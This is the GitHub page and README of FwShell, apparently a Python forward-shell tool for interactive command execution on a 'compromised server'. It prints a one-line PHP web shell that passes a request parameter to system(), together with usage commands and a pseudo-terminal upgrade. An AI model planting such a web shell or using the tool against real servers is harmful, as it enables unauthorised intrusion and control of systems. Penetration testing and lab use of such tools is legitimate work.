Skip to content
/ FwShell Public

A simple Forward Shell, for establishes a remote shell session that allows the execution of commands on the server interactively.

Notifications You must be signed in to change notification settings

ch4rum/FwShell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

3 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

FwShell - A Simple Forward Shell

 
Description
   
Features
   
Usage
   
Contribution
 

πŸ‘Ύ Description

This script establishes a remote shell session that allows the execution of commands on the server interactively, handling output and state dynamically. Since some servers don't allow to get $reserse~shell$ due to their configuration, this script is a friendly alternative.

The remote server must be configured to allow command execution or simply get a PHP structure loaded on the compromised server.

<?php
    system($_REQUEST['cmd']); # use too, $_GET
?>

Take into account the path to the compromised server, where the bug or our PHP script is located.

πŸŽ‰ Features:

  • Remotely execute commands: Sends shell commands to the remote server and receives the results in real time.

  • Interactive shell: Allows you to interact with the remote system similar to a local terminal.

  • Pseudo-terminal management: You can use a pseudo-terminal (script /dev/null -c /bin/bash) to keep the session interactive.

  • Command history management: The script keeps a history of the commands executed during the session.

  • Configurable execution intervals: The interval between command executions can be adjusted.

  • Session termination: At the end of the session, the scriptdeletes temporary files.

πŸ’» Usage

First download the code

git clone --no-checkout http://github.com/ch4rum/FwShell.git

To run the script, you can use the following command:

python3 main.py -u <URL> -i <interval>
  • -u o --url <URL> is the Url of the remote server.

  • -i o --interval <interval> is an optional parameter that sets the interval (in seconds) between command execution. If not specified, the default value is $0.5$ seconds.

To exit the session, you can run ctrl + c.

πŸ› οΈ Requeriments

  • Python 3
  • Libraries:
    • requests
    • argparse
    • readline
    • os
    • time
    • signal
    • sys
    • os
    • threading
    • base64
    • random

You can install the neccesary dependencies by running.

# In windows & some linux
pip install requests 

# In Arch and some derivate
sudo pacman -S --noconfirm python-requests

πŸ“§ Contributions

If you want to contribute to this little script, feel free to make a fork and send your improvements via pull requests.

About

A simple Forward Shell, for establishes a remote shell session that allows the execution of commands on the server interactively.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages